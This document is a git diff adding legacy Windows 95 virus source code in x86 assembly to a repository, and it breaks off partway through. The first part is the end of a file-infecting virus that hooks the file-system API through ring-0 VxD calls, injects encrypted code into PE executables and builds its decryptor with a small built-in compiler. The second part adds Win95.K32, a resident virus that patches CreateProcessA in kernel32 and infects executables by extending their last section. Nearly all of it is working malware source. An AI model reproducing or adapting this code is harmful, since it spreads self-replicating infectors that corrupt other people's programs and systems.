[edi],ebx + jnz FindNextEntry + pop edi + jmp ClearUnnessesaryInstructionsLoop + + DontOptimize2: + pop edi + and esi,0fffffff0h + mov ecx,16 + rep movsb + sub esi,16 + jmp ClearUnnessesaryInstructionsLoop + + + + pop edi + ret + + +ClearDoNothingInstrucions: + push edi + sub esi,16 + xor ecx,ecx + + OptimizeLoop: + + add esi,16 + and esi,0fffffff0h + push esi + + lodsd + test eax,eax + jz OptimizeEnd + + bswap eax + cmp eax,Op_mov + jnz DontOptimize + + xor eax,eax + lodsw + mov ebx,eax + lodsb + lodsw + cmp ebx,eax + jnz DontOptimize + pop esi + jmp OptimizeLoop + + DontOptimize: + mov ecx,16 + pop esi + rep movsb + sub esi,16 + jmp OptimizeLoop + + OptimizeEnd: + test ecx,ecx + jnz OptimizeDoReallyQuit + + mov ecx,16 + pop esi + rep movsb + sub esi,16 + + inc ecx + jmp OptimizeLoop + + + OptimizeDoReallyQuit: + pop eax + pop edi + ret + + + + + + + +; 1. Init block + +; offset 0 +; pushad + +; 2. Make pointer to mem + +; 3. Read block +; Encrypt block +; Write block + +; popad + +; 5. Change mempointer block +; 6. Compare and jump block + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +PE_Objects equ 6 +PE_NTHdrSize equ 20 +PE_Entrypoint equ 40 +PE_ImageBase equ 52 +PE_ObjectAlign equ 56 +PE_FileAlign equ 60 +PE_ImageSize equ 80 + +Obj_Name equ 0 +Obj_VirtualSize equ 8 +Obj_VirtualOffset equ 12 +Obj_PhysicalSize equ 16 +Obj_PhysicalOffset equ 20 +Obj_Flags equ 36 + + + + + + +IFSMgr equ 0040h + +R0_AllocMem equ 000dh +R0_FreeMem equ 000eh + +Ring0_FileIO equ 0032h +InstallFileSystemAPIhook equ 0067h +UniToBCSPath equ 0041h + +ResidentcodeStart: + + jmp FileFunction + +R0_OPENCREATFILE equ 0D500h ; Open/Create a file +R0_READFILE equ 0D600h ; Read a file, no context +R0_WRITEFILE equ 0D601h ; Write to a file, no context +R0_CLOSEFILE equ 0D700h + + +IFSFN_FILEATTRIB equ 33 +IFSFN_OPEN equ 36 +IFSFN_RENAME equ 37 + + +IFSFN_READ equ 0 ; read a file +IFSFN_WRITE equ 1 ; write a file + + + +FileIOWrite: + mov eax,R0_WRITEFILE + mov ebx,[FileHandle+edi] + pop [ReturnAddr+edi] + push Ring0_FileIO + jmp Label6 + +FileIOReadDWordToSlack: + mov ecx,4 ; how many bytes +FileIOReadToSlack: + lea esi,[Slack+edi] ; where to place data +FileIORead: + mov eax,R0_READFILE +FileIOHandle: + mov ebx,[FileHandle+edi] +FileIO: + pop [ReturnAddr+edi] + push Ring0_FileIO + jmp Label6 +vxd: + pop [ReturnAddr+edi] +Label6: + pop [CallService+edi+2] + mov word ptr [CallService+edi],20cdh + mov word ptr [CallService+edi+4],0040h + jmp CallService + +CallService: +Slack: + int 20h + dw 0dh + dw 0040h + jmp [ReturnAddr+edi] + + +ZeroRegStart: + + + db 0 + FileToInfect db 256 dup (0) + + TempPtr dd 0 + + TotalSize dd 0 + OldAPIFunction dd 0 + GuidePos dd 0 + GuideSize dd 0 + DecryptorPos dd 0 + DecryptorSize dd 0 + + HeaderSize dd 0 + + VirusInRing0Mem dd 0 + + MemoryTable dd 0 + VirtualDataSegment dd 0 + + ReturnAddr dd 0 + ReturnAddr2 dd 0 + + Flag dd 0 + + FileHandle dd 0 + PEHeadOfs dd 0 + PEHeadStart dd 0 + ObjTable dd 0 + + CodeObjectPtr dd 0 + DataObjectPtr dd 0 + LastObjectPtr dd 0 + + SlackInCodeSegment dd 0 + SlackInDataSegment dd 0 + + OldRVA dd 0 + StackSave dd 0 + + NewVirusOffset dd 0 + JumpTableMoveOffset dd 0 + + NewGuideOffset dd 0 + NewDecryptorOffset dd 0 + NewDataSegmentOffset dd 0 + + Unload dd 0 +ZeroRegEnd: + + ; eax = how much free space + ; ebx = where it is located + ; ecx = pointer to segment object table + ; edx = last object pointer + + + + + GetSegmentSlack: + pop [ReturnAddr2+edi] + + mov eax,[PEHeadStart+edi] + lea ebx,[eax+24] + + xor ecx,ecx + mov cx,[eax+PE_NTHdrSize] ; NT hdr size + + add ebx,ecx ; ebx -> object table + + mov cx,[eax+PE_Objects] ; # objects + imul ecx,ecx,40 + + add ecx,ebx + push ecx ; push pointer to last object + ; + 40 + FindCodeSegmentLoop: + sub ecx,8*5 + cmp ecx,ebx + jl DidntFindSegment + + cmp dword ptr [ecx],edx ; is code object? + jnz FindCodeSegmentLoop + + pop edx ; pop pointer to last object + sub edx,40 + + mov eax,[ecx+Obj_PhysicalSize] ; size of segment + mov ebx,[ecx+Obj_PhysicalOffset] ; where does segment start + + call CalculateFreeSpace + jmp [ReturnAddr2+edi] + + DidntFindSegment: + pop eax + xor eax,eax + jmp [ReturnAddr2+edi] + + + SegmentSize dd 0 + SegmentOffset dd 0 + SegmentBuffer dd 0 + +CalculateFreeSpace: + push ecx + push edx + + mov [SegmentSize+edi],eax + mov [SegmentOffset+edi],ebx + + push eax + push R0_AllocMem + call vxd + pop ecx + test eax,eax + jz FileFunctionEndAddEsp + + mov [SegmentBuffer+edi],eax + + mov edx,[SegmentOffset+edi] ; read from + mov esi,eax ; read to + mov ecx,[SegmentSize+edi] ; how much to read + call FileIORead + + mov ebx,edi + + mov edi,[SegmentBuffer+ebx] + + add edi,[SegmentSize+ebx] + sub edi,4 ; edi -> end of segment + + push edi ; push end of seg + + xor eax,eax + xor ecx,ecx + dec ecx + + std + repz scasb + cld + dec eax + sub eax,ecx + + mov edi,ebx + + pop ebx ; end of seg + sub ebx,8 ; decrease some + + + push eax ; push number of slack bytes + + mov eax,[SegmentBuffer+edi] + sub ebx,eax + push eax + push R0_FreeMem + call vxd + pop eax + + pop eax ; eax = slackbytes in codeseg + sub eax,20 ; some safety + sub ebx,eax ; where slack starts + + pop edx + pop ecx + ret + + + + + + + + + + + + + + + +; ---------------------------------------- +; --------------------------- FileFunction +; ---------------------------------------- + +FileFunction: + push ebp + + mov ebp,esp + push edi + push esi + push ebx + +BasePtr: + mov edi,66666666h + + cmp [Unload+edi],1 + jz CallInOurFunction + + + xor eax,eax + inc eax + cmp [Flag+edi],eax + jz CallInOurFunction + + mov [Flag+edi],eax + mov eax,[ebp+12] + + cmp eax,IFSFN_OPEN + jz CheckFilename + + cmp eax,IFSFN_FILEATTRIB + jz CheckFilename + + cmp eax,IFSFN_RENAME + jnz FileFunctionEnd + + CheckFilename: + + mov eax,[ebp+16] + + test eax,eax + jz FileFunctionEnd + + cmp eax,0ffh + jz FileFunctionEnd + + cmp eax,25 + ja FileFunctionEnd + + add eax,'a'-1 + add eax,':'*256 + + lea esi,[FileToInfect+edi] + + mov word ptr [esi],ax + + add esi,2 + + push 0 + push 250 + mov eax,[ebp+28] + mov eax,[eax+12] + add eax,4 + push eax + push esi + + push UniToBCSPath + call vxd + add esp,16 + + mov byte ptr [esi+eax],0 + + cmp dword ptr [esi+eax-4],'EXE.' + jne FileFunctionEnd + + xor ebx,ebx + cmp dword ptr [esi+1],'OLNU' ; is catalog starting on unlo + setz bl + mov [Unload+edi],ebx ; unload virus then + + + cmp dword ptr [esi],'FNI' ; dont infect files in win* + jne FileFunctionEnd ; if there is a bug we dont + ; to hurt system critical + ; files + + + + sub esi,2 + mov bx,2 + mov cx,0 + mov dx,1h + mov eax,R0_OPENCREATFILE + call FileIO + jc FileFunctionEnd + + + mov [FileHandle+edi],eax + + xor edx,edx ; where to read in file + call FileIOReadDWordToSlack + jc FileFunctionEndCloseFile + + + cmp word ptr [Slack+edi],'ZM' + jnz FileFunctionEnd + + mov edx,3ch ; where to read in file + call FileIOReadDWordToSlack + + mov edx,[Slack+edi] + mov [PEHeadOfs+edi],edx + + call FileIOReadDWordToSlack + + cmp word ptr [Slack+edi],'EP' + jnz FileFunctionEndCloseFile + + mov edx,[PEHeadOfs+edi] + add edx,84 + call FileIOReadDWordToSlack + + mov ecx,[Slack+edi] ; size of exehead, pehead and + ; objtable + + mov edx,[PEHeadOfs+edi] + sub ecx,edx ; size of pehead and objtable + + cmp ecx,1000h + ja FileFunctionEndCloseFile + + mov [HeaderSize+edi],ecx + lea eax,[ecx+20] + +; allocate mem for PEHeader + push eax + push R0_AllocMem + call vxd + pop ecx + test eax,eax + jz FileFunctionEndCloseFile + + + mov ecx,[HeaderSize+edi] + mov edx,[PEHeadOfs+edi] + mov esi,eax + mov [PEHeadStart+edi],esi + call FileIORead + + mov eax,[PEHeadStart+edi] + cmp word ptr [eax],'EP' + jnz FileFunctionEndAddEsp + + mov ebx,'y3k?' ; already infected + cmp [eax+12],ebx + jz FileFunctionEndAddEsp + + + + mov edx,'xet.' + call GetSegmentSlack + + ; eax = how much free space + ; ebx = where it is located + ; ecx = pointer to segment object table + ; edx = pointer to last object table + + + + + cmp eax,[GuideSize+edi] + jl FileFunctionEndAddEsp + + mov [CodeObjectPtr+edi],ecx ; save offset of code object + mov [SlackInCodeSegment+edi],ebx + + mov edx,'tad.' + call GetSegmentSlack + test eax,eax + jz FileFunctionEndAddEsp + + + mov [DataObjectPtr+edi],ecx ; save offset of data object + push eax + push ebx + .if (ecx==edx) + mov ebx,[PEHeadStart+edi] + mov eax,[ebx+PE_FileAlign+8] ; file align + .else + mov eax,[ecx+Obj_PhysicalSize] ; physical size + .endif + + + + + mov ebx,[ecx+Obj_VirtualSize] ; - virtual size + sub eax,ebx ; = free space + + mov [SlackInDataSegment+edi],ebx + + cmp eax,MemorySize*4 ; if this is true we can be + jg InfectFile ; 'sure' no bug will occure. + + add eax,ebx ; size of .data segment on + ; disk + sub eax,MemorySize*4+10 ; some safety + + pop ebx ; where in file the zero + add ebx,200h ; slack starts + sub eax,ebx + pop eax ; size of slack block + jc FileFunctionEndAddEsp + + sub eax,250h+MemorySize*4 ; enough mem free + jc FileFunctionEndAddEsp ; this method is more risky + ; will bug out if the + ; infected program relies + ; on the data to be cleared + sub esp,8 + mov [SlackInDataSegment+edi],ebx + + InfectFile: + add esp,8 + + mov [LastObjectPtr+edi],edx ; ptr to last object table + + mov ecx,[PEHeadStart+edi] + mov edx,[ecx+PE_Entrypoint] ; save old RVA + mov [OldRVA+edi],edx + + + mov ecx,[CodeObjectPtr+edi] + mov ebx,[SlackInCodeSegment+edi] + + +BreakPoint: + + mov eax,ebx ; ebx = how far in is free + ; space + add ebx,[ecx+Obj_VirtualOffset] ; ebx = free space in mem + + mov edx,[PEHeadStart+edi] + mov [edx+PE_Entrypoint],ebx ; save new RVA + + + add eax,[ecx+Obj_PhysicalOffset] ; eax = free space in file + mov [NewGuideOffset+edi],eax + + + mov ecx,[DataObjectPtr+edi] + + mov eax,[ecx+Obj_VirtualOffset] ; data space in mem + add eax,[SlackInDataSegment+edi] ; free data space in mem + add eax,(MemorySize-1)*4 + add eax,[edx+PE_ImageBase] ; add with image base + + mov ecx,MemorySize + mov ebx,[MemoryTable+edi] + + mov edx,0ch + mov [ebx+ecx*4],edx ; used in fs:[0c] + + sub ebx,4 + + CopyPointersToMem: + mov [ebx+ecx*4],eax + sub eax,4 + dec ecx + jnz CopyPointersToMem + + add ebx,4 + mov [PointerToDataSlack+edi],ebx + + + mov ebx,[LastObjectPtr+edi] + mov eax,[VirtualDataSegment+edi] + + + mov ecx,[ebx+Obj_VirtualOffset] ; virtual offset + add ecx,[ebx+Obj_PhysicalSize] ; physical size + mov edx,[PEHeadStart+edi] + add ecx,[edx+PE_ImageBase] ; add with imagebase + + mov [eax+8],ecx ; Decryptor Entrypoint + + mov edx,[OldRVA+edi] + mov ebx,[PEHeadStart+edi] + add edx,[ebx+PE_ImageBase] ; add with image base + mov [eax],edx ; Program entrypoint + + mov ebx,[DataObjectPtr+edi] + mov ecx,[ebx+Obj_VirtualOffset] ; Virtual offset + add ecx,[SlackInDataSegment+edi] ; Virtual offset of data slack + mov edx,[PEHeadStart+edi] + add ecx,[edx+PE_ImageBase] ; add with image base + + mov [eax+4],ecx + + mov ecx,[ebx+Obj_PhysicalOffset] + add ecx,[SlackInDataSegment+edi] ; Physical offset of data slack + + mov [NewDataSegmentOffset+edi],ecx + + mov ebx,[LastObjectPtr+edi] + + mov ecx,[ebx+Obj_PhysicalSize] ; physical size + add ecx,[ebx+Obj_PhysicalOffset] ; physical offset + + mov [NewDecryptorOffset+edi],ecx ; Entrypoint in file + + mov edx,[eax+8] ; decryptor start + add edx,[DecryptorSize+edi] + mov [eax+12],edx ; save where to start decrypt + + +; write Guide + pushad + + mov esi,[GuidePos+edi] + + mov eax,[GuideSize+edi] + add eax,100 + +; allocate mem for PEHeader + push eax + push R0_AllocMem + call vxd + pop ecx + test eax,eax + jz FileFunctionEndCloseFile + + mov [TempPtr+edi],eax + + push edi + mov ebp,edi + mov edi,eax + + call Compile + pop edi + + mov edx,[NewGuideOffset+edi] ; write to + mov ecx,[GuideSize+edi] ; write ecx bytes + call FileIOWrite + + mov eax,[TempPtr+edi] + push eax + push R0_FreeMem + call vxd + pop eax + + mov esi,[DecryptorPos+edi] + + mov eax,[DecryptorSize+edi] + add eax,100 + +; allocate mem for PEHeader + push eax + push R0_AllocMem + call vxd + pop ecx + test eax,eax + jz FileFunctionEndCloseFile + mov [TempPtr+edi],eax + + push edi + mov ebp,edi + mov edi,eax + call Compile + + pop edi + +; write Decryptor + mov edx,[NewDecryptorOffset+edi] + mov ecx,[DecryptorSize+edi] + + call FileIOWrite + + mov eax,[TempPtr+edi] + push eax + push R0_FreeMem + call vxd + pop eax + + popad + + mov edx,[NewDataSegmentOffset+edi] + mov ecx,MemorySize*4 + mov esi,[VirtualDataSegment+edi] + call FileIOWrite + + + mov edx,[NewDecryptorOffset+edi] + add edx,[DecryptorSize+edi] + mov ecx,VSize + mov esi,[VirusInRing0Mem+edi] + call FileIOWrite + + + mov ebx,VSize + add ebx,[DecryptorSize+edi] + + mov esi,[LastObjectPtr+edi] + mov eax,[esi+Obj_PhysicalSize] ; physical size + add eax,ebx ; add with new virussize + add eax,100 ; safety + + + + mov edx,[PEHeadStart+edi] + mov ecx,[edx+PE_ObjectAlign] ; object align + xor edx,edx + div ecx + inc eax + xor edx,edx + mul ecx + + .if eax>[esi+8] + mov [esi+Obj_VirtualSize],eax ; save new virtual size + .endif + + + mov eax,[esi+Obj_PhysicalSize] ; physical size + add eax,ebx ; add with virus size + add eax,20 ; safety + + mov edx,[PEHeadStart+edi] + mov ecx,[edx+PE_FileAlign] ; file align + xor edx,edx + div ecx + inc eax + xor edx,edx + mul ecx + + mov [esi+Obj_PhysicalSize],eax ; save new physical size + + mov eax,'y3k?' + mov ecx,[PEHeadStart+edi] + mov [ecx+12],eax + + mov eax,[LastObjectPtr+edi] + mov esi,0c0000040h + mov [eax+Obj_Flags],esi + + mov eax,[ecx+PE_ImageSize] ; size of image + add eax,VirusSize ; add with virussize + mov ecx,[ecx+PE_ObjectAlign] ; object aligment + xor edx,edx + div ecx + inc eax + xor edx,edx + mul ecx ; new size of image in eax + mov esi,[PEHeadStart+edi] + mov [esi+PE_ImageSize],eax ; save it + + mov edx,[PEHeadOfs+edi] ; write to + mov ecx,[HeaderSize+edi] + call FileIOWrite + +FileFunctionEndAddEsp: + mov eax,[PEHeadStart+edi] + push eax + push R0_FreeMem + call vxd + pop eax + +FileFunctionEndCloseFile: + + mov eax,R0_CLOSEFILE + call FileIOHandle + +FileFunctionEnd: + xor eax,eax + mov [edi+Flag], eax + +CallInOurFunction: + mov eax,[edi+OldAPIFunction] + mov ecx,edi + + + pop ebx + pop esi + pop edi + pop ebp + + pop [ReturnFromHook+ecx] + lea edx,[ReturnFromHook+ecx+4] + sub [ReturnFromHook+ecx],edx + + call dword ptr [eax] + + db 0e9h + ReturnFromHook: + dd 0 + + + + + + + + + + + + + + + + + +; ------------------------------ +; --------------------- Compiler +; ------------------------------ + +PointerToRandomMemory equ MemorySize + +PointerToDataSlack dd 0 + +SavedOffsets dd 10 dup (-1) + +InstructionTable: +dd Op_add +dd Op_and +dd Op_cmp +dd Op_or +dd Op_sub +dd Op_xor + +dd Op_mov +dd Op_jmp + +dd Op_jnz +dd Op_jnb +dd Op_jna + + +dd Op_offset +dd Op_db +InstructionTableEnd: + +InstructionTables: +AddTable: + dd DefaultProc1 + db 00000000b + db 10000000b + db 00000100b + db 000b + +AndTable: + dd DefaultProc1 + db 00100000b + db 10000000b + db 00100100b + db 100b + +CmpTable: + dd DefaultProc1 + db 00111000b + db 10000000b + db 00111100b + db 111b + +OrTable: + dd DefaultProc1 + db 00001000b + db 10000000b + db 00001100b + db 001b + +SubTable: + dd DefaultProc1 + db 00101000b + db 10000000b + db 00101100b + db 101b + +XorTable: + dd DefaultProc1 + db 00110000b + db 10000000b + db 00110100b + db 110b + +MovTable: + dd MoveProc + db 10001000b + db 11000110b + db 10111000b + db 000b + + +JmpTable: + dd JmpProc + dd 0 + + +JnzTable: + dd JxxProc + db 0101b + db 0,0,0 + +JnbTable: + dd JxxProc + db 0011b + db 0,0,0 + +JnaTable: + dd JxxProc + db 0110b + db 0,0,0 + + + +OffsetTable: + dd OffsetProc + dd 0 + +DeclareByteTable: + dd DeclareByteProc + dd 0 + + + + + + +ToValue dd 0 +ToTypeOfValue dd 0 + +SecondValue dd 0 +SecondTypeOfValue dd 0 + + + + +Instruction dd 0,0,0 +InstructionLength dd 0 + + +RegistersBitValue: +dd 0 +IntelEax dd 000b +IntelEbx dd 011b +IntelEcx dd 001b +IntelEdx dd 010b +IntelEsi dd 110b +IntelEdi dd 111b +IntelEsp dd 100b + + + ReadInstruction1: + push edi + lea edi,[InstructionTable+ebp] + + mov ecx,(InstructionTableEnd-InstructionTable)/4+1 + add esi,16 + and esi,0fffffff0h + + lodsd + bswap eax + + push edi + repnz scasd + + sub edi,[esp] + + shl edi,1 + + lea ebx,[edi+4-8+InstructionTables+ebp] + + mov eax,[ebx-4] + add eax,ebp + pop edi + pop edi + + test ecx,ecx + jz CompileEnd + + jmp eax + + + + + + ReadOperands: + call GetOperand + mov [ToValue+ebp],eax + mov [ToTypeOfValue+ebp],ebx + + mov al,byte ptr [esi] + cmp al,',' + jnz Return + inc esi + + call GetOperand + mov [SecondValue+ebp],eax + mov [SecondTypeOfValue+ebp],ebx + ret + + + + + + + + + + + + +SetDirectionBit: + call WhatOperandIsRegMem + setl bl + shl ebx,1 + + or [Instruction+ebp],ebx + ret + + +GetOther: + call WhatOperandIsRegMem + jnl Label40 + + mov eax,[ToValue+ebp] + mov ebx,[ToTypeOfValue+ebp] + ret + +GetRegMem: + call WhatOperandIsRegMem + jl Label40 + + mov eax,[ToValue+ebp] + mov ebx,[ToTypeOfValue+ebp] + ret + + Label40: + mov eax,[SecondValue+ebp] + mov ebx,[SecondTypeOfValue+ebp] + ret + + +RegMem_Reg equ 0 +RegMem_Immediate equ 1 +Eax_Immediate equ 2 + + +FetchOpcode: + call GetRegMem + + cmp ebx,4 + setz bl + cmp eax,1 + setz al + and eax,ebx + mov ecx,eax + + call GetOther + xor eax,eax + test ebx,ebx + jnz Return + + inc eax + add eax,ecx + ret + + + + +WhatOperandIsRegMem: + xor ebx,ebx + mov eax,[ToTypeOfValue+ebp] + cmp eax,[SecondTypeOfValue+ebp] + ret + +FixAddresses: + lea edx,[Instruction+ebp] + add edx,[InstructionLength+ebp] + + + call GetRegMem + xor ecx,ecx + cmp ebx,8 + setl cl + imul ecx,ecx,3 + shl ecx,6 + + cmp ebx,8 + jz MemoryValue + + mov eax,[eax*4+RegistersBitValue+ebp] + + or ecx,eax + jmp Label43 + + + + MemoryValue: + or ecx,101b + mov [edx+1],eax + add [InstructionLength+ebp],4 + + Label43: + inc [InstructionLength+ebp] + + call GetOther + test ebx,ebx + jz LastOperandIsImmediate + mov eax,[eax*4+RegistersBitValue+ebp] + shl eax,3 + or ecx,eax + + mov byte ptr [edx],cl + ret + + LastOperandIsImmediate: + push edx + lea edx,[Instruction+ebp] + add edx,[InstructionLength+ebp] + mov [edx],eax + add [InstructionLength+ebp],4 + pop edx + + or byte ptr [edx],cl + ret + +OutputInstruction: + push esi + lea esi,[Instruction+ebp] + mov ecx,[InstructionLength+ebp] + rep movsb + pop esi + ret + + +; input +; Edi -> where to put compiled code +; Esi -> code to compile + +; return +; eax = where to put compiled code +; ebx = size of compiled code +Compile: + push edi + sub esi,16 + +CompileAgain: + mov [Instruction+ebp],0 + mov [InstructionLength+ebp],0 + call ReadInstruction1 + mov al,0c3h + mov byte ptr [edi],al + jmp CompileAgain + +CompileEnd: + pop esi + pop esi + mov eax,edi + sub eax,esi + ret + + + +OffsetProc: + call AsciiToNum + mov [SavedOffsets+ebp+eax*4],edi + ret + +DeclareByteProc: + xor eax,eax + lodsb + mov ecx,eax + rep movsb + ret + +MoveProc: + push ebx + call ReadOperands + call SetDirectionBit + call FetchOpcode + + test eax,eax + jz DefaultProc1Label1 + call GetRegMem + mov ecx,eax + mov eax,1 + cmp ebx,8 + jz DefaultProc1Label1 + + mov eax,[ecx*4+RegistersBitValue+ebp] + lea edx,[Instruction+ebp] + pop ebx + or al,byte ptr [ebx+2] + + mov [edx],eax + + call GetOther + mov [edx+1],eax + mov [InstructionLength+ebp],5 + jmp OutputInstruction + + + +DefaultProc1: + push ebx + call ReadOperands + call SetDirectionBit + call FetchOpcode + + DefaultProc1Label1: + pop ebx + add ebx,eax + + movzx ecx,byte ptr [ebx] + inc ecx + + dec eax + jnz Label41 + mov ch,byte ptr [ebx+2] + shl ch,3 + + Label41: + + or [Instruction+ebp],ecx + inc [InstructionLength+ebp] + + dec eax + jz CopyDataToInstruction + + call FixAddresses + jmp OutputInstruction + + CopyDataToInstruction: + call GetOther + lea ebx,[Instruction+ebp] + add ebx,[InstructionLength+ebp] + mov [ebx],eax + add [InstructionLength+ebp],4 + jmp OutputInstruction + + +;-JMP-------Jump +;Near,8-bit |1|1|1|0|1|0|1|1| 8-bit Displacement +;Near,Direct |1|1|1|0|1|0|0|1| Full Displacement +;Near,Indirect |1|1|1|1|1|1|1|1| |mod|1|0|0| R/M | + + +JmpProc: + call GetOperand + xor ecx,ecx + + test ebx,ebx + jz JumpIsIndirect + + mov ebx,[eax*4+RegistersBitValue+ebp] + + mov al,0ffh + stosb + + mov eax,ebx + or eax,00100000b + stosb + ret + + JumpIsIndirect: + mov ebx,[SavedOffsets+ebp+eax] + sub ebx,edi + + add ebx,4 + + test ebx,0fffffff8h + jz OutPutSmallJump + + ret + + +JxxProc: + movzx edx,byte ptr [ebx] + push edx + call GetOperand + pop edx + + mov ebx,[SavedOffsets+ebp+eax] + sub ebx,edi + + add ebx,4 + + test ebx,0fffffff8h + jz OutPutSmallJump + + mov al,0fh + stosb + + mov al,10000000b + or eax,edx + stosb + + sub ebx,6+4 + mov eax,ebx + stosd + ret + + +OutPutSmallJump: + mov al,01110000b + or eax,edx + stosb + mov eax,ebx + sub eax,2+4 + stosb + ret + + ret + + +GetOperand: + xor edx,edx + mov al,byte ptr [esi] + cmp al,'[' + setz dl + mov ecx,edx + add esi,edx + shl edx,3 + mov ebx,edx ; ebx = 0 or 8 + + lodsb + cmp al,'S' ; A variable + jnz Label53 + + mov edx,[PointerToDataSlack+ebp] + lodsd + mov eax,[edx+eax*4] + add esi,ecx + xor edx,edx + ret + + Label53: + cmp al,'R' + setz dl + shl edx,2 + add ebx,edx ; ebx = ebx + (0 or 4) + + test edx,edx ; is value + jz ReadValue + + xor eax,eax + lodsb ; read register + + cmp al,'X' + jz GetRandomReg + + sub eax,'0' + + add esi,ecx + ret + + ReadValue: + lodsd + add esi,ecx + ret + +Return: + ret + +AsciiToNum: + xor eax,eax + lodsb + sub eax,'0' + ret + + +ResidentcodeEnd: + + + + VirusEnd: +_rsrc ends +end Main diff --git a/LegacyWindows/Win95.K32.asm b/LegacyWindows/Win95.K32.asm new file mode 100644 index 00000000..bbe14efd --- /dev/null +++ b/LegacyWindows/Win95.K32.asm @@ -0,0 +1,744 @@ +;*********************************************************************** +;* * +;* VIRUS WIN95.K32 By nIgr0 * +;* * +;*********************************************************************** +; +; Virus residente, pa win95 +; Uso el espacio libre dejado por el header del kernel32 +; dentro de la primera p gina. +; Parcheo el API CreateProcessA mediante un JMP +; Modifico los permisos de las p ginas que voy a utilizar +; mediante una llamada a CALLVXD0 (_PageModifyPermissions) +; Vxd 01 servicio 0d. +; Hallo la direccion de las apis a utilizar buscando en la +; export table del kernel32 , supongo la direcci?n base del +; kernel32.dll como 0bff70000h . La unica comprobaci?n que hago +; al respecto es mirar en la pila [sp+3]=0b7h, con lo que +; por lo menos si no es 0bff70000h se acerca :) +; Infecto aumentando la ultima secci?n del file y modifico el +; entrypoint del file, pero no modifico los atributos de la ?ltima +; secci?n aunque estos sean de solo lectura ,paso completamente de esos +; atributos y luego mientras se ejecuta el virus este se pone los +; atributos de pagina que quiera mediante el servicio +; _PageModifyPermissions. +; + + + +.386p +.model flat,STDCALL +include win32.inc + +extrn ExitProcess:PROC +extrn MessageBoxA:PROC ;apis exportadas unicamente en la primera +extrn CreateProcessA:proc ;generaci?n + + +;*********** Aqu? algunas equs interesantes **************** + +viriisize equ (((offset end - offset start)+064h)/065h)*065h +K32 equ 0bff70000h +hueco equ 0bffc0400h ;Zona en el header + +GENERIC_READ EQU 80000000H ;abre archivo para lectura +GENERIC_WRITE EQU 40000000H ;abre el archivo para escritura +OPEN_EXISTING EQU 3 ;usado por CreateFile para abrir archivo existente + + +.data + +dummy db 0 ;de esta secci?n paso +mess db 'nIgrO rUlez!!!$',0 +text db 'Virus Win95.K32 .... Ejecutado',0 + + + +.code +start: + xor eax,eax ;este es el codigo de un Hoste Ficticio + push eax + lea eax,mess + push eax + lea eax,text + push eax + xor eax,eax + push eax + + nop + nop + nop + nop + nop + +; call MessageBoxA + + + +Lajodimos: + + Push LARGE -1 + call ExitProcess + +;***************** Comienzo del Virus ********************** + +startvirii: + cmp byte ptr [esp+3],0bfh ;verifico que se llama desde el + jne malasunto ;la direcci?n bf??????h + + pushad ;pusheo tooo + push ebp + + call getdesp ;obtengo el delta +getdesp: pop ebp + sub ebp,offset getdesp + + jmp saltito ;jmp pa esquivar la zona de datos :) + +;***************** Comienzo de la zona de Datos *********** + +startdata: +PARCHE: mov eax,0bff70400h+offset starthook-offset startvirii + jmp eax +codigoparcheado: + db 010h dup (0) + +FIRMA db 'Virus K32 por nIgr0 ... "Hazlo o no lo hagas pero no lo intentes"',0 +NLH db 'nIgr0_lives_here!!!!',0 +IOBYTES dd 0h,0h +llamada dd 0bff713d4h ;direcci?n de CallVXD0 hallada anteriormente +hoste db 'c:\virus\k32\K.EXE',0,' ' + +ahand dd 0 ; handle del virus que abro +peheaderoffset dd 0 ; Guardo el offset del peheader del archivo +ObjectTableoffset dd 0 ; Guardo el offset de la object table en memoria +bytesread dd 0 ; numero de bytes que leo/escrito en el archivo + +secdesplaza dd 0h +secphy dd offset startvirii- offset start +ultfisicalsize dd 0h + +newobject: ; Zona en la que almaceno el ultimo objeto +oname db ".nigro",0,0 ; Pa modificarlo a placer +virtualsize dd 0 +RVA dd 0 +physicalsize dd 0 +physicaloffset dd 0 +reserved dd 0,0,0 +objectflags dd 0h + +peheader: ; Estructura del Pe header + signature dd 0 + cputype dw 0 + numObj dw 0 + db 3*4 dup (0) + NtHeaderSize dw 0 + Flags dw 0 + db 4*4 dup (0) + entrypointRVA dd 0 + db 3*4 dup (0) + objalign dd 0 + filealign dd 0 + db 4*4 dup (0) + imagesize dd 0 + headersize dd 0 + db 400h dup (0) + +addresstable dd 00h ;direccion de la addresstable en la export table +nametable dd 00h ;direccion la tabla de punteros a strings (de la export table) +ordinaltable dd 00h ;puntero a la ordinal table +contador dd 00h ;pa calcular la posici?n del puntero en la nametable que + ;que apunte a la api buscada. +apiabuscar dd 00h ;offset donde se encuentra la string de la api a + ;buscar (es usada temporalmente por mi + ;procedimiento GetAdressAPi) +longitudapi dd 00h + +;************** Direcciones para las APIS ******************* + + +nombreapis: + dd 010d + db 'CreateFile',0,' ' ;strings de las apis que + dd 014d + db 'SetFilePointer',0,' ' ;voy a utilizar + dd 08d + db 'ReadFile',0,' ' ;junto con el tama€o de la + dd 09d + db 'WriteFile',0,' ' ;string + dd 011d + db 'CloseHandle',0,' ' + dd 014d + db 'CreateProcessA',0,' ' + dd 016d + db 'GetModuleHandleA',0 + dd 014d + db 'GetProcAddress',0,' ' +direccionesapis: + +newCreateFile dd 00h ;0bff7799ch ;valores para mi versi?n de WIN :) +newSetFilePointer dd 00h ;0bff770e4h +newReadFile dd 00h ;0bff7594ah +newWriteFile dd 00h ;0bff75951h +newCloseFile dd 00h ;0bff7bc8bh +newCreateProcessA dd 00h ;0bff775e8h +newGetModuleHandleA dd 00h +newGetProcAddress dd 00h + +dllmensajito db 'USER32.dll',0 +apimensajito db 'MessageBoxA',0 + +;***************** Fin de la Zona de datos *********************** + + +saltito: + ;en eax viene el entrypoint del virii + + mov ebx,eax ;copia de seguridad + + xor eax,eax ;empiezo a calcular la direccion de CALLVXD0 + mov esi,K32 + 3CH + lodsw ;en ax me quedar el comienzo del PE header + + add eax,K32 ;a la que le suma la direcci?n base del Kernel32 + + + cmp dword ptr [EAX],00004550H ;verifico que es un PE header + je NoERROR + +ERROR: jmp melaspiro + + +NoERROR: + mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table + add esi,K32 + 1CH ; 1CH RVA para la adress table + + + lodsd ; en eax queda la RVA al primer ordinal + add eax,K32 ; es decir la direcci?n a la CALLVXD0 + + push eax ; + pop esi ;en esi=eax + + lodsd ;obtengo la RVA de la primera API + add eax,K32 ;EAX = La 